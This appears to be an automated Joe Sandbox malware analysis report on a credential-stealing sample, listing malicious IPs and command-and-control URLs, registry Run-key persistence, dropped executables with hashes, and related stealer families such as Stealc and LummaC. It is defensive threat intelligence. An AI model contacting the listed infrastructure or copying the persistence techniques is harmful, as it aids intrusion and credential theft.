http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/useNewWizardformautofill	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recent-activity-header	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/search?client=firefox-b-d&q=resource://gre/modules/FxAccountsCommands.sys.mjs	firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
216.58.212.174	youtube.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545302
Start date and time:	2024-10-30 11:44:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@48/27@46/12
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 35.160.212.113, 52.11.191.138, 54.185.230.140
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, time.windows.com, dns.msftncsi.com, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 4XW8W5G3AUTSGA2M5UZH7L9.exe, PID 7720 because it is empty
Execution Graph export aborted for target file.exe, PID 6604 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7892 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8008 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:45:10	API Interceptor	10x Sleep call for process: file.exe modified
08:07:01	API Interceptor	459x Sleep call for process: skotes.exe modified
08:07:17	API Interceptor	19x Sleep call for process: 100bc97ff1.exe modified
08:07:45	API Interceptor	1x Sleep call for process: firefox.exe modified
13:06:11	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
13:07:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 100bc97ff1.exe C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe
13:07:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 76bf5a4dba.exe C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe
13:07:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ee3f3c2bda.exe C:\Users\user~1\AppData\Local\Temp\1002598001\ee3f3c2bda.exe
13:07:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1002599001\num.exe
13:07:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 100bc97ff1.exe C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe
13:08:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 76bf5a4dba.exe C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe
13:08:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ee3f3c2bda.exe C:\Users\user~1\AppData\Local\Temp\1002598001\ee3f3c2bda.exe
13:08:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1002599001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	r9gBM4l6Ip.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
188.114.96.3	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/CEqTVkxM/download
	0JLWNg4Sz1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	977255cm.nyashkoon.in/secureWindows.php
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download
	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
ipv4only.arpa	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
push.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.243.93
prod.ads.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	app64.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	skuld3.exe	Get hash	malicious	Skuld Stealer	Browse	104.26.13.205
	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.67.154.211
	https://railrent-railrent.powerappsportals.com/	Get hash	malicious	Unknown	Browse	172.67.140.116
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	http://etf-remittance-payout.s3.us-east-1.amazonaws.com/DMwNjk0MTU2LWI2MTItNDg5My04YmZhLWNhMzBjZTMzO/jZTMzODU5NwBGAAAAAAA/doc.html	Get hash	malicious	Unknown	Browse	172.67.170.202
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	104.21.79.135
	INVOICE.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	DHr3CzaX5d.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Orden de Compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	Orden de compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.96.3
	Order pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.96.3
	Proforma Fatura ektedir.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2985472
Entropy (8bit):	6.555545838027719
Encrypted:	false
SSDEEP:	24576:ua8fNuypENAZPwRPSZc2cIku6VCMWRd1s+yIByLG44AFvqWDBE9glmJpN/zsaGnF:uxsuE7sWVwj5H6DqDs19jwODJz
MD5:	DE54690C9F171F91B13960453AB60FD3
SHA1:	670B2988ECA93C82E2639960FD638EE5D56F34D6
SHA-256:	51961E496E66B300950023C9ABA682A5232ADE37926DB00F10E58DF4F46EB1CD
SHA-512:	3B14A96E738433B089D3923F7D89F33734EA4A7E004CEA56BE60845C798A693A1417A022CFA5A3725A42C35625AAEC6E60B1ECF5260A3A7CF6935A62DD1CE9CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...hzcsxlrx..........................@...hrhicodq......0......h-.............@....taggant.0....0.."...l-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\test[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	334848
Entropy (8bit):	6.7615707075
Encrypted:	false
SSDEEP:	6144:+tWC7xvtddofKKrybbuMY88Jc/oZ3ipoOvYcOCL7E6tt7t2lp4:+RZtddofKKrzHPJ3ii0bL7E6t7S2
MD5:	E2F4A20BF1778DDB6396F48F6F4A9A32
SHA1:	75D402E0A8645B0A33F93ED6A66F76FE22496987
SHA-256:	A76920B863FF403F08436950963F30333E7B9297D36F2CEC8E26BD94D66C8F1A
SHA-512:	13FD064E04D302471AB5AD28ED9E3A07EAD4429046054AE4F7931BD2D24678857E0AE3A48AB0888DA313E9BA320D3E73FE358CFC8C82796FCEBA7B31440C4126
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.................D........................@.......................................@.................................R....................................K...................................................................................text....B.......D.................. ..`.rdata..'%...`...&...H..............@..@.data............b...n..............@....reloc...K.......L..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.58467072504627
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TJ:rqDEvCTbMWu7rQYlBQcBiT6rprG8abJ
MD5:	388A4D9E5A5EC3446324F1DCFEE1F8DB
SHA1:	4DBF48C4BB5B82DA95778263D0FA897CF77909AA
SHA-256:	10582062C33D5D8478731C97DE4F2882F25332A603D048F4ADA7AAB4AF0730E4
SHA-512:	8954E1CA993FFAF83BDD018534EEAC2E815B5956D39C9FFE29D9728521DB06BEC306E67C05E8C54404282D8D1AAA9ACFE2418DB7478D0F04500E28FED4143EFB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2125824
Entropy (8bit):	7.960420866019488
Encrypted:	false
SSDEEP:	24576:zrT8VtzaqVLeT2wwBr5JeE6r27aPASXg34cL5yA6TaPeDH5OcEjOb3drulcVwSrD:zcVBFeQaWYQjLk+eDZKObXhKtO+s5
MD5:	DB6B1432E0641F3EC061401D5547D4A4
SHA1:	B037DE812F635BE7E0CE633785CB356F04F36301
SHA-256:	9112846B3C122FD59A75C3B60E1821E81E90700948DBFF182AC8F38263FC78DC
SHA-512:	9E581521CB120BAC3410B13A3F53C0F4A852A3EDDD2468837AFB88574D2FEB1C3B60D76292A4E0AD040E8B0BD448DB60652577C771D2247E7CC0C835D6F25A97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......pr...........@...........................r....... ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...ksqqhkwn......X.....................@...kdggtfho.....`r......J .............@....taggant.0...pr.."...N .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2985472
Entropy (8bit):	6.555545838027719
Encrypted:	false
SSDEEP:	24576:ua8fNuypENAZPwRPSZc2cIku6VCMWRd1s+yIByLG44AFvqWDBE9glmJpN/zsaGnF:uxsuE7sWVwj5H6DqDs19jwODJz
MD5:	DE54690C9F171F91B13960453AB60FD3
SHA1:	670B2988ECA93C82E2639960FD638EE5D56F34D6
SHA-256:	51961E496E66B300950023C9ABA682A5232ADE37926DB00F10E58DF4F46EB1CD
SHA-512:	3B14A96E738433B089D3923F7D89F33734EA4A7E004CEA56BE60845C798A693A1417A022CFA5A3725A42C35625AAEC6E60B1ECF5260A3A7CF6935A62DD1CE9CA
Malicious:	true
